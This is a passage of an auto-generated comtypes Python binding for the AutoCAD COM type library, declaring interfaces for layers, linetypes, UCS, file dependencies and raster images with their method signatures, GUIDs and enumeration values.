GUID('{401FAF8B-5CF4-4EB4-9CE6-D6929CF60553}')\n _idlflags_ = ['dual', 'oleautomation']\nIAcadLineTypes._methods_ = [\n COMMETHOD([dispid(0)], HRESULT, 'Item',\n ( ['in'], VARIANT, 'Index' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadLineType)), 'pItem' )),\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'Count',\n ( ['out', 'retval'], POINTER(c_int), 'pCount' )),\n COMMETHOD([dispid(-4), 'restricted', 'hidden', 'propget'], HRESULT, '_NewEnum',\n ( ['out', 'retval'], POINTER(POINTER(IUnknown)), 'pVal' )),\n COMMETHOD([dispid(2)], HRESULT, 'Add',\n ( ['in'], BSTR, 'Name' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadLineType)), 'pLinetype' )),\n COMMETHOD([dispid(3)], HRESULT, 'Load',\n ( ['in'], BSTR, 'Name' ),\n ( ['in'], BSTR, 'FileName' )),\n]\n################################################################\n## code template for IAcadLineTypes implementation\n##class IAcadLineTypes_Impl(object):\n## def Item(self, Index):\n## '-no docstring-'\n## #return pItem\n##\n## @property\n## def Count(self):\n## '-no docstring-'\n## #return pCount\n##\n## @property\n## def _NewEnum(self):\n## '-no docstring-'\n## #return pVal\n##\n## def Add(self, Name):\n## '-no docstring-'\n## #return pLinetype\n##\n## def Load(self, Name, FileName):\n## '-no docstring-'\n## #return \n##\n\nclass IAcadUCS(IAcadObject):\n _case_insensitive_ = True\n _iid_ = GUID('{235F0898-9076-48C8-8EEE-A3DCB753189E}')\n _idlflags_ = ['dual', 'oleautomation']\nIAcadUCS._methods_ = [\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'Name',\n ( ['out', 'retval'], POINTER(BSTR), 'bstrName' )),\n COMMETHOD([dispid(1), 'propput'], HRESULT, 'Name',\n ( ['in'], BSTR, 'bstrName' )),\n COMMETHOD([dispid(2), 'propget'], HRESULT, 'Origin',\n ( ['out', 'retval'], POINTER(VARIANT), 'Origin' )),\n COMMETHOD([dispid(2), 'propput'], HRESULT, 'Origin',\n ( ['in'], VARIANT, 'Origin' )),\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'XVector',\n ( ['out', 'retval'], POINTER(VARIANT), 'XVector' )),\n COMMETHOD([dispid(3), 'propput'], HRESULT, 'XVector',\n ( ['in'], VARIANT, 'XVector' )),\n COMMETHOD([dispid(4), 'propget'], HRESULT, 'YVector',\n ( ['out', 'retval'], POINTER(VARIANT), 'YVector' )),\n COMMETHOD([dispid(4), 'propput'], HRESULT, 'YVector',\n ( ['in'], VARIANT, 'YVector' )),\n COMMETHOD([dispid(5)], HRESULT, 'GetUCSMatrix',\n ( ['out', 'retval'], POINTER(VARIANT), 'transMatrix' )),\n]\n################################################################\n## code template for IAcadUCS implementation\n##class IAcadUCS_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return bstrName\n## def _set(self, bstrName):\n## '-no docstring-'\n## Name = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Origin\n## def _set(self, Origin):\n## '-no docstring-'\n## Origin = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return XVector\n## def _set(self, XVector):\n## '-no docstring-'\n## XVector = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return YVector\n## def _set(self, YVector):\n## '-no docstring-'\n## YVector = property(_get, _set, doc = _set.__doc__)\n##\n## def GetUCSMatrix(self):\n## '-no docstring-'\n## #return transMatrix\n##\n\n\n# values for enumeration 'AcBoolean'\nacFalse = 0\nacTrue = 1\nAcBoolean = c_int # enum\n\n# values for enumeration 'AcPolymeshType'\nacSimpleMesh = 0\nacQuadSurfaceMesh = 5\nacCubicSurfaceMesh = 6\nacBezierSurfaceMesh = 8\nAcPolymeshType = c_int # enum\n\n# values for enumeration 'AcXRefDemandLoad'\nacDemandLoadDisabled = 0\nacDemandLoadEnabled = 1\nacDemandLoadEnabledWithCopy = 2\nAcXRefDemandLoad = c_int # enum\n\n# values for enumeration 'AcGradientPatternType'\nacPreDefinedGradient = 0\nacUserDefinedGradient = 1\nAcGradientPatternType = c_int # enum\nclass IAcadFileDependencies(comtypes.gen._00020430_0000_0000_C000_000000000046_0_2_0.IDispatch):\n _case_insensitive_ = True\n _iid_ = GUID('{BFCDB061-5A7A-4CEA-AB7A-B41169EC4AAE}')\n _idlflags_ = ['dual', 'oleautomation']\nclass IAcadFileDependency(comtypes.gen._00020430_0000_0000_C000_000000000046_0_2_0.IDispatch):\n _case_insensitive_ = True\n _iid_ = GUID('{AF690CAA-E5BD-4018-8895-CEBE14710273}')\n _idlflags_ = ['dual', 'oleautomation']\nIAcadFileDependencies._methods_ = [\n COMMETHOD([dispid(0)], HRESULT, 'Item',\n ( ['in'], VARIANT, 'Index' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadFileDependency)), 'pItem' )),\n COMMETHOD([dispid(-4), 'restricted', 'hidden', 'propget'], HRESULT, '_NewEnum',\n ( ['out', 'retval'], POINTER(POINTER(IUnknown)), 'pVal' )),\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'Application',\n ( ['out', 'retval'], POINTER(POINTER(IDispatch)), 'pAppObj' )),\n COMMETHOD([dispid(2), 'propget'], HRESULT, 'Count',\n ( ['out', 'retval'], POINTER(c_int), 'pVal' )),\n COMMETHOD([dispid(3)], HRESULT, 'CreateEntry',\n ( ['in'], BSTR, 'Feature' ),\n ( ['in'], BSTR, 'FullFileName' ),\n ( ['in'], VARIANT_BOOL, 'AffectsGraphics' ),\n ( ['in'], VARIANT_BOOL, 'noIncrement' ),\n ( ['out', 'retval'], POINTER(c_int), 'Index' )),\n COMMETHOD([dispid(4)], HRESULT, 'IndexOf',\n ( ['in'], BSTR, 'Feature' ),\n ( ['in'], BSTR, 'FullFileName' ),\n ( ['out', 'retval'], POINTER(c_int), 'Index' )),\n COMMETHOD([dispid(5)], HRESULT, 'RemoveEntry',\n ( ['in'], c_int, 'Index' ),\n ( ['in'], VARIANT_BOOL, 'forceRemove' )),\n COMMETHOD([dispid(6)], HRESULT, 'UpdateEntry',\n ( ['in'], c_int, 'Index' )),\n]\n################################################################\n## code template for IAcadFileDependencies implementation\n##class IAcadFileDependencies_Impl(object):\n## def Item(self, Index):\n## '-no docstring-'\n## #return pItem\n##\n## @property\n## def _NewEnum(self):\n## '-no docstring-'\n## #return pVal\n##\n## @property\n## def Application(self):\n## '-no docstring-'\n## #return pAppObj\n##\n## @property\n## def Count(self):\n## '-no docstring-'\n## #return pVal\n##\n## def CreateEntry(self, Feature, FullFileName, AffectsGraphics, noIncrement):\n## '-no docstring-'\n## #return Index\n##\n## def IndexOf(self, Feature, FullFileName):\n## '-no docstring-'\n## #return Index\n##\n## def RemoveEntry(self, Index, forceRemove):\n## '-no docstring-'\n## #return \n##\n## def UpdateEntry(self, Index):\n## '-no docstring-'\n## #return \n##\n\n\n# values for enumeration 'AcProxyImage'\nacProxyNotShow = 0\nacProxyShow = 1\nacProxyBoundingBox = 2\nAcProxyImage = c_int # enum\nclass AcadSubEntSolidFace(CoClass):\n _reg_clsid_ = GUID('{4ED71541-C46C-4A7E-8CE3-F9BE5FD6D719}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nclass IAcadSubEntSolidFace(IAcadSubEntity):\n _case_insensitive_ = True\n _iid_ = GUID('{ED4BFFCF-3FCA-41AB-A9ED-77C40CDA320D}')\n _idlflags_ = ['dual', 'oleautomation']\nAcadSubEntSolidFace._com_interfaces_ = [IAcadSubEntSolidFace]\n\n\n# values for enumeration 'AcPreviewMode'\nacPartialPreview = 0\nacFullPreview = 1\nAcPreviewMode = c_int # enum\nIAcadFileDependency._methods_ = [\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'FullFileName',\n ( ['out', 'retval'], POINTER(BSTR), 'FullFileName' )),\n COMMETHOD([dispid(2), 'propget'], HRESULT, 'FileName',\n ( ['out', 'retval'], POINTER(BSTR), 'FileName' )),\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'FoundPath',\n ( ['out', 'retval'], POINTER(BSTR), 'FoundPath' )),\n COMMETHOD([dispid(4), 'propget'], HRESULT, 'FingerprintGuid',\n ( ['out', 'retval'], POINTER(BSTR), 'FingerprintGuid' )),\n COMMETHOD([dispid(5), 'propget'], HRESULT, 'VersionGuid',\n ( ['out', 'retval'], POINTER(BSTR), 'VersionGuid' )),\n COMMETHOD([dispid(6), 'propget'], HRESULT, 'Feature',\n ( ['out', 'retval'], POINTER(BSTR), 'Feature' )),\n COMMETHOD([dispid(7), 'propget'], HRESULT, 'IsModified',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'IsModified' )),\n COMMETHOD([dispid(8), 'propget'], HRESULT, 'AffectsGraphics',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'AffectsGraphics' )),\n COMMETHOD([dispid(9), 'propget'], HRESULT, 'Index',\n ( ['out', 'retval'], POINTER(c_int), 'Index' )),\n COMMETHOD([dispid(16), 'propget'], HRESULT, 'TimeStamp',\n ( ['out', 'retval'], POINTER(c_int), 'TimeStamp' )),\n COMMETHOD([dispid(17), 'propget'], HRESULT, 'FileSize',\n ( ['out', 'retval'], POINTER(c_int), 'FileSize' )),\n COMMETHOD([dispid(18), 'propget'], HRESULT, 'ReferenceCount',\n ( ['out', 'retval'], POINTER(c_int), 'refCount' )),\n]\n################################################################\n## code template for IAcadFileDependency implementation\n##class IAcadFileDependency_Impl(object):\n## @property\n## def FullFileName(self):\n## '-no docstring-'\n## #return FullFileName\n##\n## @property\n## def FileName(self):\n## '-no docstring-'\n## #return FileName\n##\n## @property\n## def FoundPath(self):\n## '-no docstring-'\n## #return FoundPath\n##\n## @property\n## def FingerprintGuid(self):\n## '-no docstring-'\n## #return FingerprintGuid\n##\n## @property\n## def VersionGuid(self):\n## '-no docstring-'\n## #return VersionGuid\n##\n## @property\n## def Feature(self):\n## '-no docstring-'\n## #return Feature\n##\n## @property\n## def IsModified(self):\n## '-no docstring-'\n## #return IsModified\n##\n## @property\n## def AffectsGraphics(self):\n## '-no docstring-'\n## #return AffectsGraphics\n##\n## @property\n## def Index(self):\n## '-no docstring-'\n## #return Index\n##\n## @property\n## def TimeStamp(self):\n## '-no docstring-'\n## #return TimeStamp\n##\n## @property\n## def FileSize(self):\n## '-no docstring-'\n## #return FileSize\n##\n## @property\n## def ReferenceCount(self):\n## '-no docstring-'\n## #return refCount\n##\n\n\n# values for enumeration 'AcInsertUnitsAction'\nacInsertUnitsPrompt = 0\nacInsertUnitsAutoAssign = 1\nAcInsertUnitsAction = c_int # enum\n\n# values for enumeration 'AcZoomScaleType'\nacZoomScaledAbsolute = 0\nacZoomScaledRelative = 1\nacZoomScaledRelativePSpace = 2\nAcZoomScaleType = c_int # enum\nclass IAcadSubEntSolidVertex(IAcadSubEntity):\n _case_insensitive_ = True\n _iid_ = GUID('{2E712F3A-09F4-477B-AFE4-4C81F929144E}')\n _idlflags_ = ['dual', 'oleautomation']\nIAcadSubEntity._methods_ = [\n COMMETHOD([dispid(1024), 'nonbrowsable'], HRESULT, 'OnModified'),\n COMMETHOD([dispid(1025), 'nonbrowsable', 'propget'], HRESULT, 'ObjectName',\n ( ['out', 'retval'], POINTER(BSTR), 'ObjectName' )),\n COMMETHOD([dispid(1302), 'propget'], HRESULT, 'color',\n ( ['out', 'retval'], POINTER(POINTER(IAcadAcCmColor)), 'pColor' )),\n COMMETHOD([dispid(1302), 'propput'], HRESULT, 'color',\n ( ['in'], POINTER(IAcadAcCmColor), 'pColor' )),\n COMMETHOD([dispid(1281), 'propget'], HRESULT, 'Layer',\n ( ['out', 'retval'], POINTER(BSTR), 'Layer' )),\n COMMETHOD([dispid(1282), 'propget'], HRESULT, 'Linetype',\n ( ['out', 'retval'], POINTER(BSTR), 'Linetype' )),\n COMMETHOD([dispid(1283), 'propget'], HRESULT, 'LinetypeScale',\n ( ['out', 'retval'], POINTER(ACAD_NOUNITS), 'ltScale' )),\n COMMETHOD([dispid(1299), 'propget'], HRESULT, 'PlotStyleName',\n ( ['out', 'retval'], POINTER(BSTR), 'plotStyle' )),\n COMMETHOD([dispid(1300), 'propget'], HRESULT, 'Lineweight',\n ( ['out', 'retval'], POINTER(ACAD_LWEIGHT), 'Lineweight' )),\n COMMETHOD([dispid(1301), 'propget'], HRESULT, 'Hyperlinks',\n ( ['out', 'retval'], POINTER(POINTER(IAcadHyperlinks)), 'Hyperlinks' )),\n]\n################################################################\n## code template for IAcadSubEntity implementation\n##class IAcadSubEntity_Impl(object):\n## def OnModified(self):\n## '-no docstring-'\n## #return \n##\n## @property\n## def ObjectName(self):\n## '-no docstring-'\n## #return ObjectName\n##\n## def _get(self):\n## '-no docstring-'\n## #return pColor\n## def _set(self, pColor):\n## '-no docstring-'\n## color = property(_get, _set, doc = _set.__doc__)\n##\n## @property\n## def Layer(self):\n## '-no docstring-'\n## #return Layer\n##\n## @property\n## def Linetype(self):\n## '-no docstring-'\n## #return Linetype\n##\n## @property\n## def LinetypeScale(self):\n## '-no docstring-'\n## #return ltScale\n##\n## @property\n## def PlotStyleName(self):\n## '-no docstring-'\n## #return plotStyle\n##\n## @property\n## def Lineweight(self):\n## '-no docstring-'\n## #return Lineweight\n##\n## @property\n## def Hyperlinks(self):\n## '-no docstring-'\n## #return Hyperlinks\n##\n\nIAcadSubEntSolidVertex._methods_ = [\n]\n################################################################\n## code template for IAcadSubEntSolidVertex implementation\n##class IAcadSubEntSolidVertex_Impl(object):\n\nIAcadLineType._methods_ = [\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'Description',\n ( ['out', 'retval'], POINTER(BSTR), 'bstrDes' )),\n COMMETHOD([dispid(1), 'propput'], HRESULT, 'Description',\n ( ['in'], BSTR, 'bstrDes' )),\n COMMETHOD([dispid(2), 'propget'], HRESULT, 'Name',\n ( ['out', 'retval'], POINTER(BSTR), 'bstrName' )),\n COMMETHOD([dispid(2), 'propput'], HRESULT, 'Name',\n ( ['in'], BSTR, 'bstrName' )),\n]\n################################################################\n## code template for IAcadLineType implementation\n##class IAcadLineType_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return bstrDes\n## def _set(self, bstrDes):\n## '-no docstring-'\n## Description = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bstrName\n## def _set(self, bstrName):\n## '-no docstring-'\n## Name = property(_get, _set, doc = _set.__doc__)\n##\n\nclass AcadSubEntSolidEdge(CoClass):\n _reg_clsid_ = GUID('{A8B9AC22-8299-4E0E-9C0F-DBA57C834775}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nclass IAcadSubEntSolidEdge(IAcadSubEntity):\n _case_insensitive_ = True\n _iid_ = GUID('{43A1CDC7-AAE6-4585-9306-6D6E92D68400}')\n _idlflags_ = ['dual', 'oleautomation']\nAcadSubEntSolidEdge._com_interfaces_ = [IAcadSubEntSolidEdge]\n\n\n# values for enumeration 'AcMenuItemType'\nacMenuItem = 0\nacMenuSeparator = 1\nacMenuSubMenu = 2\nAcMenuItemType = c_int # enum\nclass IAcadSubEntSolidNode(IAcadSubEntity):\n _case_insensitive_ = True\n _iid_ = GUID('{C3E9FE62-5252-4E82-927D-06778B3C0EF4}')\n _idlflags_ = ['dual', 'oleautomation']\nIAcadSubEntSolidNode._methods_ = [\n]\n################################################################\n## code template for IAcadSubEntSolidNode implementation\n##class IAcadSubEntSolidNode_Impl(object):\n\nclass IAcadLayer(IAcadObject):\n _case_insensitive_ = True\n _iid_ = GUID('{6EA285F5-5A1E-4E7B-9857-639E4086AE19}')\n _idlflags_ = ['dual', 'oleautomation']\nIAcadLayers._methods_ = [\n COMMETHOD([dispid(0)], HRESULT, 'Item',\n ( ['in'], VARIANT, 'Index' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadLayer)), 'pItem' )),\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'Count',\n ( ['out', 'retval'], POINTER(c_int), 'pCount' )),\n COMMETHOD([dispid(-4), 'restricted', 'hidden', 'propget'], HRESULT, '_NewEnum',\n ( ['out', 'retval'], POINTER(POINTER(IUnknown)), 'pVal' )),\n COMMETHOD([dispid(2)], HRESULT, 'Add',\n ( ['in'], BSTR, 'Name' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadLayer)), 'pLayer' )),\n COMMETHOD([dispid(3)], HRESULT, 'GenerateUsageData'),\n]\n################################################################\n## code template for IAcadLayers implementation\n##class IAcadLayers_Impl(object):\n## def Item(self, Index):\n## '-no docstring-'\n## #return pItem\n##\n## @property\n## def Count(self):\n## '-no docstring-'\n## #return pCount\n##\n## @property\n## def _NewEnum(self):\n## '-no docstring-'\n## #return pVal\n##\n## def Add(self, Name):\n## '-no docstring-'\n## #return pLayer\n##\n## def GenerateUsageData(self):\n## '-no docstring-'\n## #return \n##\n\n\n# values for enumeration 'AcDragDisplayMode'\nacDragDoNotDisplay = 0\nacDragDisplayOnRequest = 1\nacDragDisplayAutomatically = 2\nAcDragDisplayMode = c_int # enum\nclass AcadSubEntSolidVertex(CoClass):\n _reg_clsid_ = GUID('{F494B42C-0D99-4CAD-829B-BF561FDF7AB2}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadSubEntSolidVertex._com_interfaces_ = [IAcadSubEntSolidVertex]\n\nIAcadLayer._methods_ = [\n COMMETHOD([dispid(1), 'hidden', 'propget'], HRESULT, 'color',\n ( ['out', 'retval'], POINTER(AcColor), 'color' )),\n COMMETHOD([dispid(1), 'hidden', 'propput'], HRESULT, 'color',\n ( ['in'], AcColor, 'color' )),\n COMMETHOD([dispid(11), 'propget'], HRESULT, 'TrueColor',\n ( ['out', 'retval'], POINTER(POINTER(IAcadAcCmColor)), 'pColor' )),\n COMMETHOD([dispid(11), 'propput'], HRESULT, 'TrueColor',\n ( ['in'], POINTER(IAcadAcCmColor), 'pColor' )),\n COMMETHOD([dispid(2), 'propget'], HRESULT, 'Freeze',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bFreeze' )),\n COMMETHOD([dispid(2), 'propput'], HRESULT, 'Freeze',\n ( ['in'], VARIANT_BOOL, 'bFreeze' )),\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'LayerOn',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bOn' )),\n COMMETHOD([dispid(3), 'propput'], HRESULT, 'LayerOn',\n ( ['in'], VARIANT_BOOL, 'bOn' )),\n COMMETHOD([dispid(4), 'propget'], HRESULT, 'Linetype',\n ( ['out', 'retval'], POINTER(BSTR), 'Linetype' )),\n COMMETHOD([dispid(4), 'propput'], HRESULT, 'Linetype',\n ( ['in'], BSTR, 'Linetype' )),\n COMMETHOD([dispid(5), 'propget'], HRESULT, 'Lock',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'Block' )),\n COMMETHOD([dispid(5), 'propput'], HRESULT, 'Lock',\n ( ['in'], VARIANT_BOOL, 'Block' )),\n COMMETHOD([dispid(6), 'propget'], HRESULT, 'Name',\n ( ['out', 'retval'], POINTER(BSTR), 'bstrName' )),\n COMMETHOD([dispid(6), 'propput'], HRESULT, 'Name',\n ( ['in'], BSTR, 'bstrName' )),\n COMMETHOD([dispid(7), 'propget'], HRESULT, 'Plottable',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bPlottable' )),\n COMMETHOD([dispid(7), 'propput'], HRESULT, 'Plottable',\n ( ['in'], VARIANT_BOOL, 'bPlottable' )),\n COMMETHOD([dispid(8), 'propget'], HRESULT, 'ViewportDefault',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bDefault' )),\n COMMETHOD([dispid(8), 'propput'], HRESULT, 'ViewportDefault',\n ( ['in'], VARIANT_BOOL, 'bDefault' )),\n COMMETHOD([dispid(9), 'propget'], HRESULT, 'PlotStyleName',\n ( ['out', 'retval'], POINTER(BSTR), 'plotStyle' )),\n COMMETHOD([dispid(9), 'propput'], HRESULT, 'PlotStyleName',\n ( ['in'], BSTR, 'plotStyle' )),\n COMMETHOD([dispid(10), 'propget'], HRESULT, 'Lineweight',\n ( ['out', 'retval'], POINTER(ACAD_LWEIGHT), 'Lineweight' )),\n COMMETHOD([dispid(10), 'propput'], HRESULT, 'Lineweight',\n ( ['in'], ACAD_LWEIGHT, 'Lineweight' )),\n COMMETHOD([dispid(12), 'propget'], HRESULT, 'Description',\n ( ['out', 'retval'], POINTER(BSTR), 'Description' )),\n COMMETHOD([dispid(12), 'propput'], HRESULT, 'Description',\n ( ['in'], BSTR, 'Description' )),\n COMMETHOD([dispid(13), 'propget'], HRESULT, 'Used',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bUsed' )),\n COMMETHOD([dispid(14), 'propget'], HRESULT, 'Material',\n ( ['out', 'retval'], POINTER(BSTR), 'Material' )),\n COMMETHOD([dispid(14), 'propput'], HRESULT, 'Material',\n ( ['in'], BSTR, 'Material' )),\n]\n################################################################\n## code template for IAcadLayer implementation\n##class IAcadLayer_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return color\n## def _set(self, color):\n## '-no docstring-'\n## color = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pColor\n## def _set(self, pColor):\n## '-no docstring-'\n## TrueColor = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bFreeze\n## def _set(self, bFreeze):\n## '-no docstring-'\n## Freeze = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bOn\n## def _set(self, bOn):\n## '-no docstring-'\n## LayerOn = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Linetype\n## def _set(self, Linetype):\n## '-no docstring-'\n## Linetype = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Block\n## def _set(self, Block):\n## '-no docstring-'\n## Lock = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bstrName\n## def _set(self, bstrName):\n## '-no docstring-'\n## Name = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bPlottable\n## def _set(self, bPlottable):\n## '-no docstring-'\n## Plottable = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bDefault\n## def _set(self, bDefault):\n## '-no docstring-'\n## ViewportDefault = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return plotStyle\n## def _set(self, plotStyle):\n## '-no docstring-'\n## PlotStyleName = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Lineweight\n## def _set(self, Lineweight):\n## '-no docstring-'\n## Lineweight = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Description\n## def _set(self, Description):\n## '-no docstring-'\n## Description = property(_get, _set, doc = _set.__doc__)\n##\n## @property\n## def Used(self):\n## '-no docstring-'\n## #return bUsed\n##\n## def _get(self):\n## '-no docstring-'\n## #return Material\n## def _set(self, Material):\n## '-no docstring-'\n## Material = property(_get, _set, doc = _set.__doc__)\n##\n\n\n# values for enumeration 'AcARXDemandLoad'\nacDemanLoadDisable = 0\nacDemandLoadOnObjectDetect = 1\nacDemandLoadCmdInvoke = 2\nAcARXDemandLoad = c_int # enum\nclass IAcadWipeout(IAcadRasterImage):\n _case_insensitive_ = True\n _iid_ = GUID('{877F5D73-EB3F-457D-B031-DE393CCB6EE6}')\n _idlflags_ = ['dual', 'oleautomation']\nIAcadRasterImage._methods_ = [\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'Brightness',\n ( ['out', 'retval'], POINTER(c_int), 'Brightness' )),\n COMMETHOD([dispid(1), 'propput'], HRESULT, 'Brightness',\n ( ['in'], c_int, 'Brightness' )),\n COMMETHOD([dispid(2), 'propget'], HRESULT, 'Contrast',\n ( ['out', 'retval'], POINTER(c_int), 'Contrast' )),\n COMMETHOD([dispid(2), 'propput'], HRESULT, 'Contrast',\n ( ['in'], c_int, 'Contrast' )),\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'Fade',\n ( ['out', 'retval'], POINTER(c_int), 'Fade' )),\n COMMETHOD([dispid(3), 'propput'], HRESULT, 'Fade',\n ( ['in'], c_int, 'Fade' )),\n COMMETHOD([dispid(4), 'propget'], HRESULT, 'Origin',\n ( ['out', 'retval'], POINTER(VARIANT), 'Origin' )),\n COMMETHOD([dispid(4), 'propput'], HRESULT, 'Origin',\n ( ['in'], VARIANT, 'Origin' )),\n COMMETHOD([dispid(5), 'propget'], HRESULT, 'Rotation',\n ( ['out', 'retval'], POINTER(ACAD_ANGLE), 'rotAngle' )),\n COMMETHOD([dispid(5), 'propput'], HRESULT, 'Rotation',\n ( ['in'], ACAD_ANGLE, 'rotAngle' )),\n COMMETHOD([dispid(6), 'propget'], HRESULT, 'ImageWidth',\n ( ['out', 'retval'], POINTER(c_double), 'Width' )),\n COMMETHOD([dispid(6), 'propput'], HRESULT, 'ImageWidth',\n ( ['in'], c_double, 'Width' )),\n COMMETHOD([dispid(7), 'propget'], HRESULT, 'ImageHeight',\n ( ['out', 'retval'], POINTER(c_double), 'Height' )),\n COMMETHOD([dispid(7), 'propput'], HRESULT, 'ImageHeight',\n ( ['in'], c_double, 'Height' )),\n COMMETHOD([dispid(8), 'propget'], HRESULT, 'Name',\n ( ['out', 'retval'], POINTER(BSTR), 'Name' )),\n COMMETHOD([dispid(8), 'propput'], HRESULT, 'Name',\n ( ['in'], BSTR, 'Name' )),\n COMMETHOD([dispid(9), 'propput'], HRESULT, 'ImageFile',\n ( ['in'], BSTR, 'imageFileName' )),\n COMMETHOD([dispid(9), 'propget'], HRESULT, 'ImageFile',\n ( ['out', 'retval'], POINTER(BSTR), 'imageFileName' )),\n COMMETHOD([dispid(10), 'propget'], HRESULT, 'ImageVisibility',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'fVisible' )),\n COMMETHOD([dispid(10), 'propput'], HRESULT, 'ImageVisibility',\n ( ['in'], VARIANT_BOOL, 'fVisible' )),\n COMMETHOD([dispid(11), 'propget'], HRESULT, 'ClippingEnabled',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'kClip' )),\n COMMETHOD([dispid(11), 'propput'], HRESULT, 'ClippingEnabled',\n ( ['in'], VARIANT_BOOL, 'kClip' )),\n COMMETHOD([dispid(12), 'propget'], HRESULT, 'transparency',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bTransp' )),\n COMMETHOD([dispid(12), 'propput'], HRESULT, 'transparency',\n ( ['in'], VARIANT_BOOL, 'bTransp' )),\n COMMETHOD([dispid(13)], HRESULT, 'ClipBoundary',\n ( ['in'], VARIANT, 'boundry' )),\n COMMETHOD([dispid(14), 'nonbrowsable', 'propget'], HRESULT, 'Height',\n ( ['out', 'retval'], POINTER(c_double), 'pixelHeight' )),\n COMMETHOD([dispid(15), 'nonbrowsable', 'propget'], HRESULT, 'Width',\n ( ['out', 'retval'], POINTER(c_double), 'pixelWidth' )),\n COMMETHOD([dispid(16), 'nonbrowsable', 'propget'], HRESULT, 'ShowRotation',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bShow' )),\n COMMETHOD([dispid(16), 'nonbrowsable', 'propput'], HRESULT, 'ShowRotation',\n ( ['in'], VARIANT_BOOL, 'bShow' )),\n COMMETHOD([dispid(17), 'propget'], HRESULT, 'ScaleFactor',\n ( ['out', 'retval'], POINTER(ACAD_NOUNITS), 'ScaleFactor' )),\n COMMETHOD([dispid(17), 'propput'], HRESULT, 'ScaleFactor',\n ( ['in'], ACAD_NOUNITS, 'ScaleFactor' )),\n]\n################################################################\n## code template for IAcadRasterImage implementation\n##class IAcadRasterImage_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return Brightness\n## def _set(self, Brightness):\n## '-no docstring-'\n## Brightness = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Contrast\n## def _set(self, Contrast):\n## '-no docstring-'\n## Contrast = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Fade\n## def _set(self, Fade):\n## '-no docstring-'\n## Fade = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Origin\n## def _set(self, Origin):\n## '-no docstring-'\n## Origin = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return rotAngle\n## def _set(self, rotAngle):\n## '-no docstring-'\n## Rotation = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Width\n## def _set(self, Width):\n## '-no docstring-'\n## ImageWidth = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Height\n## def _set(self, Height):\n## '-no docstring-'\n## ImageHeight = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Name\n## def _set(self, Name):\n## '-no docstring-'\n## Name = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return imageFileName\n## def _set(self, imageFileName):\n## '-no docstring-'\n## ImageFile = property(_get, _set, 